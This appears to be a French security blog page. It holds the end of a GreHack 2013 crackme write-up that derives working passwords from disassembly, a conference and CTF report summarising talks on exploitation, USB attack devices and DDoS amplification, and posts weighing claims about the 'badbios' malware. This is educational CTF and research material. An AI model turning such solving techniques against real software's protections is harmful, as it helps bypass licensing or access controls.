<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdCvGDYzFUn7secRdJ7fuLnMEGcelC1x-KNAwQ8HYIck3ZXBmz2kalc4Rseqkq20NEXqV21NiUgpXdyWe-Qa856u4Od18-kEWQKDYBjWtI9b3p9_hyx0DgHFT8zxO0weTj2CS1qQ8yIUY/s1600/4-Vue_avion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdCvGDYzFUn7secRdJ7fuLnMEGcelC1x-KNAwQ8HYIck3ZXBmz2kalc4Rseqkq20NEXqV21NiUgpXdyWe-Qa856u4Od18-kEWQKDYBjWtI9b3p9_hyx0DgHFT8zxO0weTj2CS1qQ8yIUY/s1600/4-Vue_avion.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2BJtLFxu0n118nghQXhG0I8P8LeSmfvY5tLdIfiPEs6bFgYRncIL8u_-9EN-BLao925JxGszyhG2pCKOfa8B7vDL2RoyhS8ZLmP-B9WUhm-amXovLTxR7IExT3_Y_eOvoajzAkSHUTPs/s1600/5-Boucle1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<div class="separator" style="clear: both; text-align: left;">
Pour ne pas alourdir le post, je ne met pas l'ensemble des
vérifications, mais on voit deux boucles qui semblent faire des choses,
puis des séries de checks qui mènent aux trois différents FAIL. C'est
sympathique, car selon le message, on peut tout de suite savoir si on a
passé l'étape. Analysons la Boucle1 et sa condition en sortie:</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2BJtLFxu0n118nghQXhG0I8P8LeSmfvY5tLdIfiPEs6bFgYRncIL8u_-9EN-BLao925JxGszyhG2pCKOfa8B7vDL2RoyhS8ZLmP-B9WUhm-amXovLTxR7IExT3_Y_eOvoajzAkSHUTPs/s1600/5-Boucle1.png" /></div>
suite au strlen, on met la taille dans esp+0x10, on met 0 dans esp+0x1c, et on itère jusqu’à ce que le second égale le premier (autrement dit, on parse la chaîne). Pendant l'itération, on prend caractère par caractère du mot de passe, et on additionne en hexa (et attention car on compte aussi le caractère de fin de chaine 0xa).<br />
<br />
En résumé, nous avons à <b>esp+0x14 l'adresse de la clé entrée</b>, et en esp+0x18 la somme des valeurs hexa de chacun des caractères.<br />
<br />
En fin de boucle, on compare si la somme vaut 0x539 (ce qui fait 1337 en décimal, il y a du l33t dans ce chall). Vérifions si on prend 11 (0xa en hexa) caractères 'y' (0x79 en hexa) et un 'u' (0x75):<br />
<span style="font-family: "Courier New",Courier,monospace;">'0x79'*a+'0x75'+'0x0a' = 0x539<br />kevin@slack:~/chall/grehack$ ./wip <br />Ready to become 1337?<br />yyyyyyyyyyu<br />f41l</span><br />
Le message d'erreur a changé, nous avons f41l, ce qui signifie que la première étape est donc passée.<br />
<br />
La seconde étape fait 4 comparaisons:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiotFZzEPxGZb-tZpOv2Efzci727X2RjX0RDMtE1P95617JH2EzAb2qClcqpKiCkXJECNyOAj8POLaj6YmtnOIFFfamvWjNAXW6H5OR2u9xzp3QZJu2R9OR0wvPha_bOJsEw2FI3lZjEwI/s1600/6-verif2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiotFZzEPxGZb-tZpOv2Efzci727X2RjX0RDMtE1P95617JH2EzAb2qClcqpKiCkXJECNyOAj8POLaj6YmtnOIFFfamvWjNAXW6H5OR2u9xzp3QZJu2R9OR0wvPha_bOJsEw2FI3lZjEwI/s1600/6-verif2.png" /></a></div>
<br />
Comparaisons très simples d'ailleurs.<br />
On vérifie que le second caractère (eax+1) vaut 0x31 (1)<br />
On vérifie que le quatrième caractère (eax+3) vaut 0x33 (3)<br />
On vérifie que le quatrième caractère (eax+3) vaut 0x33 (3)<br />
On vérifie que le huitième caractère (eax+7) vaut 0x37 (7)<br />
Du 1337 encore. Si je modifie ma chaine par:<br />
y1y3yyy7yyu, il va me manquer des points pour aboutir à 0x539, je complète donc avec d'autres caractères pour que la somme fasse 0x539 pour continuer à passer la première étape, comme par exemple: y1y3yyy7yyuHDD<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">kevin@slack:~/chall/grehack$ ./wip <br />Ready to become 1337?<br />y1y3yyy7yyuHDD<br />0xPh41L</span><br />
<br />
Ok, on a bien le second message d'erreur, signe que la deuxième étape est passée.<br />
<br />
La troisième étape démarre par la boucle nommée boucle 2 sur l'image vue d'avion:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHnTei7Bmmi20TbeRdvhNqshtdS5xN3Ez9wx_ND6ney_M6b_oBcUk6Qy_KOSCRU0ahwgCntaIQ4v0i2v048Z9Fq0XmOo7cpj6ZRMK909zWB0KaHS-P1hBC6e0AHduTA6MmCu8F6t-Nclo/s1600/7-Boucle2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHnTei7Bmmi20TbeRdvhNqshtdS5xN3Ez9wx_ND6ney_M6b_oBcUk6Qy_KOSCRU0ahwgCntaIQ4v0i2v048Z9Fq0XmOo7cpj6ZRMK909zWB0KaHS-P1hBC6e0AHduTA6MmCu8F6t-Nclo/s1600/7-Boucle2.png" /> </a></div>
<div class="separator" style="clear: both; text-align: left;">
Le programme va aller du côté de esp+0x14 (la clé) et faire deux XOR successifs, 13 puis 37 (oooooh, encore 1337). La clé va donc être XORée par 0x24.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
La suite du programme est une longue suite de comparaison dont voici le début:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNOjUV3XNTISwWJRUpB8Sd7DxjHgwB2zid7OxqjUymF-SdRZRMmZgKizYYtd2bbwbE1xL5Q-gDsAGVD1G6GQHTT_q8gaejoBsHUQpwV7oT3WQbUURfk1Lu7DTcps05kFnsvy1qzNiaMeU/s1600/8-verif3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNOjUV3XNTISwWJRUpB8Sd7DxjHgwB2zid7OxqjUymF-SdRZRMmZgKizYYtd2bbwbE1xL5Q-gDsAGVD1G6GQHTT_q8gaejoBsHUQpwV7oT3WQbUURfk1Lu7DTcps05kFnsvy1qzNiaMeU/s1600/8-verif3.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
On voit que différents caractères du mot de passe sont comparés entre eux. Si on suit la chaîne complète, on observe que les caractères: 0,2,4,5,6,8,9,a,b,c,d sont identiques, et que le caractère en e-ième position vaut v (0x76). Si cela est vrai alors le message de succès est affiché:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlkJHCuAtEBGzD_wKZYmAnFjJd_KgSaxkgUo_yy-BOA5ZR2VP7rHVP7KQa3PZr9-kBvT1RlhXQVHQFSt6cJu7jHC5h-Y7RvBu2oiHkrHrWzMktoLXUFit0yjK7ifKPF5-fF8XR0vdxy8k/s1600/9-last_char.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlkJHCuAtEBGzD_wKZYmAnFjJd_KgSaxkgUo_yy-BOA5ZR2VP7rHVP7KQa3PZr9-kBvT1RlhXQVHQFSt6cJu7jHC5h-Y7RvBu2oiHkrHrWzMktoLXUFit0yjK7ifKPF5-fF8XR0vdxy8k/s1600/9-last_char.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Le dernier caractère est comparé à 'v', mais est XORé. 'v' XORé à 0x24 vaut 0x52 autrement dit 'R'.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
Si on résume le tout, on voit que le mot de passe doit répondre à ces caractéristiques:<br />
.1.3...7......R+padding<br />
avec tous les caractères '.' identiques, et que la somme en hexa de l'ensemble des chiffres vaut 0x539. Si je compte:<br />
0x539 - 0x0a (retour chariot) - 0x31 - 0x33 - 0x37 - 0x52 = 0x442<br />
J'ai besoin au minimum de 11 caractères et que le reste soit de l'ascii inscriptible. Avec une calculette hexa, je trouve une solution avec onze 'Y' et un 'o': Y1Y3YYY7YYYYYYRo<br />
kevin@slack:~/grehack$ ./wip <br />
Ready to become 1337?<br />
Y1Y3YYY7YYYYYYRo<br />
W3LL d0|\|3, y0u'r 50 L337 |\|0W...<br />
<br />
Ok, chall done.<br />
<br />
Et puisque je suis devenu un l33t et que le challenge permet plusieurs solutions, je propose sans trop de difficultés avec plein d'31337ness :<br />
kevin@slack:~/grehack$ ./wip <br />
Ready to become 1337?<br />
31333337333333R^k3v1n<br />
W3LL d0|\|3, y0u'r 50 L337 |\|0W...<br />
<br />
EDIT 20/11/2013: A la réflexion, je me rends compte qu'il y a une autre solution. Si on supprime le retour chariot de fin de chaine, alors on obtient une solution plus simple:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">kevin@slack:~/grehack$ echo -n d1d3ddd7ddddddR | ./wip </span><br />
<span style="font-family: Courier New, Courier, monospace;">Ready to become 1337?</span><br />
<span style="font-family: Courier New, Courier, monospace;">W3LL d0|\|3, y0u'r 50 L337 |\|0W...</span><br />
<br />
<br />
<span style="font-size: x-small;">PS: </span><span style="font-size: x-small;">Je teste aussi un nouveau layout du blog, dites moi ce que vous en
pensez, ça me paraît plus clair lorsque je copie colle du terminal et
que je met des images. Si vous connaissez une CSS qui affiche correctement de l'hexa, je suis preneur aussi.</span>Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-31095326083716623242013-11-18T13:41:00.000+01:002013-11-18T15:16:18.915+01:00Gre(at)Hack 2013De retour de la <a href="http://grehack.org/en/">Grehack 2013</a>. En très bref: bonnes confs, bons repas, bon CTF, bonnes rencontres.<br />
<br />
En peu plus long:<br />
<br />
1/ <a href="http://grehack.org/files/2013/talks/">La journée de conférence</a>:<br />
De manière générale très intéressantes. Juste une petite déception en fin de journée pour les rump car personne ne s'est proposé pour en faire.<br />
<br />
Résumé des conférences, et des points qui m'ont marqués:<br />
1/1/ Tain't not enough time to fuzz all the memory errors - Herbert Bos<br />
Après un loooong rappel sur ce qu'est une corruption mémoire, l'orateur présente leur outil de fuzzing intelligent: <a href="https://www.google.fr/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&ved=0CEQQFjAC&url=http%3A%2F%2F0b4af6cdc2f0c5998459-c0245c5c937c5dedcca3f1764ecc9b2f.r43.cf2.rackcdn.com%2F12295-sec13-paper_haller.pdf&ei=WP6JUqeuKsyb1AWxv4HwCg&usg=AFQjCNFE7Z54EMi8RtMljnZoD26IHWwj3A&sig2=ArLbcLRwm58Ael-Gwz4opw&bvm=bv.56643336,d.d2k">Dowser</a>. En toute fin de présentation, l'orateur présente un nouveau mode d'exploitation des binaires: le SROP, ou <a href="http://labs.portcullis.co.uk/blog/ohm-2013-review-of-returning-signals-for-fun-and-profit/">Signal Return Oriented Programming</a>. Leur idée consiste à créer un faux Signal Frame sur la stack et de l'utiliser. Cette méthode semble très intéressante (adresses noyaux fixes, Turing complete ;) ), mais il n'a pas eu le temps de vraiment en parler.<br />
<br />
1/2/ Specialization in the malware distribution ecosystem - Juan Caballero<br />
L'orateur a travaillé sur les motivations du cybercrime, l'argent, ses mouvements et leur provenance. Les cybercriminels montent des business comme toute entreprise, en utilisant des plateformes cloud, des services clés en main, des taux de retour, des versions démos, etc.. On trouve du Pay-per-Install ou un tiers se charge d'installer un malware sur des machines, des Exploit-as-a-service ou un pirate vend clés en main un serveur d'infections, etc.. Le chercheur a monté des <a href="http://malicia-project.com/">architectures d'analyse</a> de ces infections pour en tirer des signatures de malware. Il finit avec un certain nombre de statistiques intéressantes. (Et au passage, j'ai rarement vu un orateur avec un débit de parole aussi rapide.)<br />
<br />
1/3/ The many flavors of binary analysis - Halvar Flake<br />
Halvar présente un certain nombre d'outils d'analyse de binaires avec leurs forces et leurs faiblesses. J'en retiens que l'analyse des patchs binaires des SP windows donne des 0-day car des correctifs ne sont pas toujours backportés: "SP Win8 => 0day win7". En reverse, il manque des outils pour bien modéliser les failles de Use After Free, de certaines boucles, et des flux de données des navigateurs modernes (JS, events, Jit, etc..). En résumé: "Reverse engineering is awesome!"<br />
<br />
1/4/ Unraveling large scale geographical distribution of vulnerable DNS servers using asynchronous I/O mechanism - Ruo Ando, Yuuki Takano and Satoshi Uda<br />
Les serveurs DNS sont une des chevilles de l'internet. Les chercheurs se sont posés deux questions: Existe t'il des serveurs DNS non mis à jour (vulnérables à au moins une attaque), et est-ce que les "bad guys" peuvent les trouver. La réponse à ces deux questions est malheureusement oui. Ils ont écrit un scanner asynchrone qui a crawler IPv4 en moins d'une trentaine d'heure, ce qui leur a permis de vérifier que des millions de DNS ne sont pas à jour, et que la méthode est suffisemment simple pour être utilisée par n'importe quel bad guy. Message personnel : patchez.<br />
<br />
1/5/ Vulnerability Inheritance in Programmable Logic Controllers - Eireann Leverett and Reid Wightman<br />
Aujourd'hui tout le monde a pris conscience des enjeux SCADA et de leurs vulnérabilités. Ces chercheurs se sont intéressés aux PLC Programmable Logic Controller qui sont des microcontrolleurs gérant des I/O. Ils ont un microkernel, tournent en root, possèdent un serveur web et utilisent des protos SCADA classiques (ModBus, etc..). Ils ont trouvé une faille dans un PLC, scannés IPv4 (ça devient la mode, avec masscan, unicorn, la conf précédente, etc...) et trouvés 600 PLC vulnérables. Il faut signaler un Award phénoménal à la pire vendor response lorsqu'ils ont remonté le bug, qui est un contournement de l'authent. Le vendeur dit que l'authent est censée fonctionner, qu'ils ne feront rien, et qu'il faut mettre des firewalls ou des VPNs devant le PLC.<br />
<br />
1/6/ Amplification DDoS attacks with game servers - Alejandro Nolla<br />
J'ai l'impression d'avoir déjà entendu ce talk toutefois très intéressant. Pour ceux qui ne connaissent pas le sujet, il faut savoir que les serveurs de jeux sont une cible de choix pour un DDoS: ils répondent beaucoup de données à une petite requête UDP. Un pirate peut espérer faire un x30 en débit en utilisant des serveurs de jeux. Ca marche, et les éditeurs semblent ne pas s'intéresser au problème donc on risque de voir ce genre de DDos encore longtemps.<br />
<br />
1/7/ APT1 - Paul Rascagnères<br />
Un remplacement au dernier moment d'une conférence. RootBSD nous présente son article <a href="http://www.malware.lu/Pro/RAP002_APT1_Technical_backstage.1.0.pdf">APT1</a>. Excellente présentation avec une vidéo de l'installation du réveil (sirène + gyrophare) pour le prévenir lors de la connexion des C&C à 1h du matin :)<br />
<br />
1/8/ Pre-filtering Mobile Malware with Heuristic Techniques - Ludovic Apvrille and Axelle Apvrille<br />
Cette conférence présente une architecture d'analyse automatique d'applis Androïd afin d'en détecter les malicieuses. Le but est d'obtenir aucun faux positif. Lorsqu'une appli malicieuse est détectée comme telle, l'analyse est terminée, et cela se fait assez vite. Le problème concerne les applis saines: à partir de quel niveau d'analyse est il possible de considérer que l'application n'est pas malveillante? <a href="http://perso.telecom-paristech.fr/~apvrille/alligator.html">http://perso.telecom-paristech.fr/~apvrille/alligator.html</a> aide à la décision.<br />
<br />
1/9/ Detecting Privacy Leaks in the RATP App: how we proceeded and what we found - Jagdish Achara, James-Douglas Lefruit, Vincent Roca and Claude Castelluccia<br />
Pas grand chose à dire. L'appli RATP embarque une bibliothèque publicitaire qui leake beaucoup de données persos. On peut aussi décerner un award pour une lame response de la compagnie de pub qui confirme récupérer toute ces infos persos, mais qu'ils ne les exploitent absolument pas. (arf).<br />
<br />
1/10/ I know your MAC Address: Targeted tracking of individual using Wi-Fi - Mathieu Cunche<br />
Ce talk présente les fuites d'informations des smartphones. En effet, l'antenne wifi émet son @Mac en permanence et essaye de se connecter à des réseaux. Il devient possible de suivre des personnes, voire de les identifier.<br />
<br />
1/11/ Statically Detecting Use After Free on Binary Code - Laurent Mounier, Marie-Laure Potet and Josselin Feist<br />
Le matin même Halvar Flake indiquait la difficulté de détecter ce genre de failles. Cette équipe développe deux méthodes pour les détecter. Tout d'abord une analyse statique des motifs menant aux UaF, puis une étude d'exploitabilité est faite. (<span style="font-size: x-small;">En anglais: exploitability, avoir le nom de son blog cité dans une conf, c'est vraiment la classe ;) </span>). La première partie ne s'intéresse qu'aux fonctions manipulant le heap, et cela a permis de retrouver certains CVE. Mais il disent qu'il leur reste du travail sur l'amélioration du heap model pour vérifier l'exploitabilité des UaF.<br />
<br />
1/12/ Attacks using malicious devices : a way to protect yourself against physical access - Guillaume Jeanne and François Desplanques<br />
Une excellente démo des capacités offensives des Teensy, ces microcontrolleurs qui peuvent prendre l'identité de n'importe quel périphérique USB. Après un petit raté à la première démo (effet oblige), on a pu voir comment ajouter un utilisateur via le teensy en mode clavier. Et on vu une seconde démo ou le teensy boosté par une flash lance un mode de communication entre l'OS et le teensy pour charger un payload selon l'OS sur lequel la clé est branché, en contournant l'antivirus. Joli.<br />
<br />
2/ La nuit du CTF<br />
Après un repas très geek (pizza/bière/coca), direction le CTF.<br />
De bons challenges (<span style="font-size: x-small;">un concert un peu moins bon</span>), dans la droite veine de ceux de 2012. On a eu du reverse, de la stégano, du misc, du réseau, du web et même un challenge "over 9000 points" (le devoir de math des étudiants :) )...<br />
<br />
Mon équipe (5 personnes) a résolu 6 challenges, j'en ai fait deux. J'ai pu finir un challenge en premier donnant ainsi un bonus d'extra points substantiels.<br />
On a fini 14e je crois, ce qui nous classe dans la première moitié du tableau, ce qui n'est pas si mal étant donné qu'il s'agit du premier exercice du genre que l'on fait. J'espérais un peu mieux, mais bah: on avait quitté lyon à 5h du matin, 24h plus tard après une journée dense, les réflexes ne sont plus aussi bon, en étant un peu plus frais je pense qu'on pouvait peut-être tomber un peu plus d'épreuves.<br />
<br />
GreHack, l'année prochaine, si possible, j'y retourne \o/Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-32308736740589677962013-11-11T14:43:00.004+01:002013-11-11T14:43:58.340+01:00RIP.J'apprends via twitter et par mail que <a href="http://sid.rstack.org/blog/index.php/">Cedric "Sid" Blancher</a> vient de nous quitter, victime d'un <a href="http://www.courrier-picard.fr/region/un-parachutiste-se-tue-dans-l-oise-ia0b0n236167">accident de parachute</a>.<br />
<br />
C'est un grand nom de la sécurité informatique qui nous quitte Je n'ai jamais eu la chance de croiser IRL, j'ai souvent échangé par mail et il était toujours disponible et de bons conseils.<br />
<br />
RIP.Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com1tag:blogger.com,1999:blog-2330984441575997476.post-69979793835166127142013-11-06T13:24:00.000+01:002013-11-06T13:24:02.757+01:00Alors, badbios, übermalware ou fake?<br />
Après une petite semaine à entendre parler de badbios un peu partout, je pense qu'un point d'étape est nécessaire. Il est rare qu'un virus (ou supposé tel) fasse autant le buzz, même des <a href="http://www.lemondeinformatique.fr/actualites/lire-badbios-le-mysterieux-malware-qui-communique-via-les-haut-parleurs-55565.html">journaux grands publics</a> évoquent le sujet . Il est d'ailleurs intéressant de remarquer qu'une information a écrasé toutes les autres: la fameuse communication over-the-air de ce malware.<br />
Mais ce virus semblait plein d'autres promesses. Listons les:<br />
<br />
<ul>
<li>Infection des BIOS des machines:<br />Rootwyrm a livré une analyse intéressante titrée "<a href="http://www.rootwyrm.com/2013/11/the-badbios-analysis-is-wrong/">badbios analysis is wrong</a>". Je crois qu'elle a été très mal comprise par la majorité des gens qui la cite comme preuve d'inexistence de badbios. Il est seulement fait mention qu'écrire un virus de BIOS qui touche toutes les cartes mères est très difficile, qu'un checksum protège les BIOS et que des fonctionnalités de badbios sont inatteignables depuis le BIOS. badbios peut résider ailleurs que dans le BIOS, un checksum se contourne et la difficulté d'écrire un BIOS n'est pas un problème pour un attaquant motivé. Il est à noter que rootwyrm a écrit un second article "<a href="http://www.rootwyrm.com/2013/11/the-pc-bios-is-insecure-as-hell-why/">the-pc-bios-is-insecure-as-hell</a>" "<i>Really, the problem is that the hardware and the OS have jointly weakened security around the BIOS to the point where this is even possible. We’ve gone from keeping a highly sensitive component which by necessity and capability has few security features, and turned it into a gaping vulnerability which is only protected by ‘there is no free space’ and ‘there’s over 60,000 different targets.’ If you solve for the latter by narrowing targets – say ‘only IBM System x 3650M3′ or ‘only MacBook Air 2012′? Then you introduce the potential for working around the former."</i><br />Dragos Ruiu a fourni des samples de ces BIOS. <a href="http://www.reddit.com/r/netsec/comments/1o7jvr/bios_backdoor_bridges_airgapped_networks_using_sdr/ccpw67k">Ils ont été analysés</a> et rien d'étrange n'en est sorti.</li>
<li>Infection des clés USB:<br />Ce sujet n'a pas vraiment été repris, ni étudié. Le site <a href="http://flashboot.ru/">flashboot.ru</a> a été cité plusieurs fois comme indiquant comment reflasher le firmware des clés USB. Cette piste semble prometteuse, il n'y a que très peu de contrôleurs différents et une attaque semble possible. Dragos indique avoir des clés à donner pour analyse lors de sa prochaine conférence. A suivre, donc.</li>
<li>Autre vecteur d'infection:<br />Inconnu, seul un <a href="https://twitter.com/dragosr/status/396324645478998016">tweet de Dragos</a> en parle: <i>"only 2 unusual infection vectors IDed, USB and one other, waiting on patches before discussion"</i> </li>
<li>Infection du lecteur CD:<br />Pas grand chose de neuf. Dragos en a parlé un moment.</li>
<li>Hyperviseur malicieux:<br />Aucune nouvelle si ce n'est un tweet de Dragos.</li>
<li>Fontes suspicieuses sous windows:<br />Dragos a fourni un sample (<a href="https://mega.co.nz/#!5Rpn3JyC!SEb5vB_KofcMl-vBKMS_j3RBdFlj0ROmFmKt8huNdNk">kit.tgz</a>). Ce sample a été analysé, et une fois de plus <a href="https://gist.github.com/0xEBFE/7290241/raw/dca9fc2fa01c0f11d5969ecf7c4db8220400c3b5/fonts_check_result.txt">tout semble normal</a>: + le deuxième commentaire de <a href="https://plus.google.com/103470457057356043365/posts/bop8ufrMp7s">ce post G+</a> <i>"the font files you published all look well formed to me."</i> (Tavis Ormandy)</li>
<li>Communication Over-the-air:<br />Le sujet qui passionne les foules. Pour y répondre clairement, oui, c'est faisable. Deux sites donnent des méthodes: <a href="http://fileperms.org/badbios-high-frequency-malware-communication-test/">http://fileperms.org/badbios-high-frequency-malware-communication-test/</a> et <a href="http://holmes.meklu.org/static/highfreq/">http://holmes.meklu.org/static/highfreq/</a> . Je reproduis parfaitement avec deux portables les spectrogrammes de holmes.meklu.org. Et 20KHz, c'est parfaitement inaudible à l'oreille. Je ne donne pas d'autres liens, mais dès qu'on cherche un peu google on trouve pleins d'expérimentations et PoC dans ce domaine. Donc oui, imaginer qu'un malware communique par voie des aires en ultrasons, c'est possible.</li>
<li>Communication avec un SDR en réutilisant la carte son:<br />Un autre sujet qui fait rêver: on emploie les composants d'une carte son afin de les utiliser pour créer une antenne (émission et réception). C'est malheureusement impossible. Donc la voie ultrason est à conserver.</li>
<li><a href="http://pacsec.jp/cookiejar.zip">Dumps de procmon</a>:<br />Tavis a analysé ces logs procmon (voir le post G+), et rien d'anormal n'en ressort: <i>"I can see you were working on some documents, browsing facebook, installing some sysinternals tools and so on - nothing suspicious."</i></li>
<li><a href="http://goo.gl/G0Mz4w">Dump des disques</a>:<br />Dragos a soupçonné ses disques de vouloir lui masquer des données. Il indique qu'utiliser dd ne renvoie pas les mêmes informations selon l'offset de départ et la taille de blocs demandée. Il a posté une centaine de Mo de dumps qui ont été analysés par plusieurs personnes: rien de probant en résultat; quelques petites anomalies, mais "<i>(...)so the drive is probably failing.</i>". Et Dragos a annoncé sur twitter que les dump sont aujourd'hui parfaits, sans erreur (il soupçonne le malware de s'être effacé). [<span style="font-size: x-small;">Pour ceux que ça intéresse, faire des "strings" sur ces dump renvoie différents codes. >:)</span> ]</li>
</ul>
<br />
badbios secoue relativement fort la communauté infosec mais jusqu'à maintenant rien n'en sort de probant; Tavis a eu un commentaire assez direct au sujet de Dragos Ruiu: <i>"My guess is it's just a combination of stress and healthy paranoia causing you to connect unrelated events"</i>. Toutes ces analyses mises bout à bout semblent donc indiquer que cet über malware n'existerait pas. Ceux qui pensent que c'est impossible seront confortés dans leur opinion, ceux qui imaginent que nous sommes en face du malware le plus évolué du monde vont continuer à trouver des preuves de son existence (les dumps sont comme par hasard corrompus alors qu'on sait que le malware modifie les firmwares de disque, le malware s'est auto effacé pour empêcher toute analyse, etc..).<br />
Pour ceux qui s'en souviennent, <a href="http://en.wikipedia.org/wiki/Timeline_of_events_involving_Anonymous#Attack_on_HBGary_Federal">anonymous avait piraté HBGary en 2011</a>. Un des documents leaké <a href="http://www.infosecisland.com/blogview/12678-HBGary-Rootkits-Catch-Me-If-You-Can.html">présentait un rootkit qui a des similitudes troublantes</a> avec le descriptif de badbios, notamment la communication par ultrason.<br />
<br />
Le problème de cette histoire, c'est qu'elle est suffisamment crédible pour qu'on y accorde de l'attention. Elle est aussi tellement énorme que le premier réflexe est de la nier complètement. Que l'histoire soit vraie ou fausse, je crois qu'on va voir du dév de réseau basé sur les ultrasons de manière moins confidentielle :) et les attaques matérielles et forensics vont sans doute faire un pas en avant<br />
Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-39553715850787988252013-10-29T12:27:00.001+01:002013-11-01T10:54:03.611+01:00badbios, php.net et la grehack<br />
1/ Badbios<br />
Au mois d'Août, je bloguais sur la "<a href="http://exploitability.blogspot.fr/2013/08/hard-la-derniere-frontiere.html">dernière frontière</a>" en sécurité, c'est à dire le matériel: le soft, on sait que ce n'est jamais fiable très longtemps, mais le hardware était censé faire ce qu'il devait faire. Au vu des dernières infos, il semble que cette frontière est simplement atomisée. On entend beaucoup parler de badbios, ou <a href="https://twitter.com/search?q=%23badbios">#badbios</a> sur twitter. Si son existence est avérée, alors il s'agit d'une menace extrêmement pernicieuse et résiliente.<br />
<br />
Je livre un résumé brut de tout ce que j'ai pu lire sachant que les premières mentions de badbios datent du <a href="https://www.security.nl/posting/366329/Onderzoeker+ontdekt+mysterieuze+BIOS-malware">11 octobre</a>, qui proviennent d'un site néérlandais. L'outil ayant détecté badbios s'appelle <a href="http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about">copernicus</a>, outil dédié à l'analyse de BIOS.<br />
<br />
Ensuite, <a href="https://twitter.com/dragosr">dragosr</a>, chercheur en sécurité a fait une série de révélations:<br />
<ul>
<li>L'infection se fait via des clés USB (eh oui)</li>
<li>Un PC infecté va à son tour infecter toutes les clés branchées dessus, qui à leur tour etc..</li>
</ul>
Jusque là, on reste dans le classique. Mais là ou ça devient intéressant, c'est que l'on a pu lire aussi:<br />
<ul>
<li>Une clé USB va infecter un PC quel que soit l'OS (BSD, windows, Mac).</li>
<li>Côté clé, l'infection ne touche pas les fichiers sur la clé, mais directement le firmware de la flash (!) ce qui explique le côté OS indépendant de la propagation du malware</li>
<li>Côté PC, c'est le bios qui est reflashé, ce qui permet de résister aux réinstallations d'OS, mais qui résiste aussi au reflashage du bios (!!) Ce qui force d'ailleurs le chercheur à utiliser un PC neuf à chaque test...</li>
<li>Les firmwares des lecteurs CD sont également impactés (?) Et les fichiers gravés sur CD sont modifiés sans qu'un motif apparent s'en dégage; il devient impossible de booter un live CD d'un système autre que celui installé sur le disque dur (?). Apparemment les firmwares des cartes sons sont aussi impactés.</li>
<li>Un windows8 infecté a vu apparaître plusieurs fontes supplémentaires, et certaines fontes ont grossies en taille tout en gardant une signature correcte (?!)</li>
<li>Le malware embarque un hyperviseur (!) et un <a href="http://en.wikipedia.org/wiki/Software-defined_radio">Software Defined Radio</a> (voir point suivant)</li>
<li>Le malware embarque un SDR, c'est à dire qu'il communique sans réseau (ni câblé, ni wifi). J'ai pu lire deux méthodes: la première en utilisant malgré tout la carte wifi, mais de manière invisible pour l'OS, la seconde en émettant simplement via la carte son des fréquences inaudibles [1]</li>
<li>Le malware interdit l'accès à deux sites web russes (?!) qui parlent de la manière dont on peut flasher des firmwares de clés USB</li>
<li>Le chercheur a constaté des envois de paquets DHCP contenant des options "étranges"</li>
<li>Et on ne sait aujourd'hui toujours pas quel est le but de ce malware.</li>
</ul>
<br />
links:<br />
<a href="https://www.security.nl/posting/366329/Onderzoeker+ontdekt+mysterieuze+BIOS-malware">https://www.security.nl/posting/366329/Onderzoeker+ontdekt+mysterieuze+BIOS-malware</a><br />
<a href="https://www.wilderssecurity.com/showthread.php?t=354463">https://www.wilderssecurity.com/showthread.php?t=354463</a><br />
<a href="http://www.kernelmode.info/forum/viewtopic.php?f=16&t=2998&p=21195&hilit=BIOS+malware#p21195">http://www.kernelmode.info/forum/viewtopic.php?f=16&t=2998&p=21195&hilit=BIOS+malware#p21195</a><br />
<a href="https://kabelmast.wordpress.com/2013/10/23/badbios-and-lotsa-paranoia-plus-fireworks/">https://kabelmast.wordpress.com/2013/10/23/badbios-and-lotsa-paranoia-plus-fireworks/</a><br />
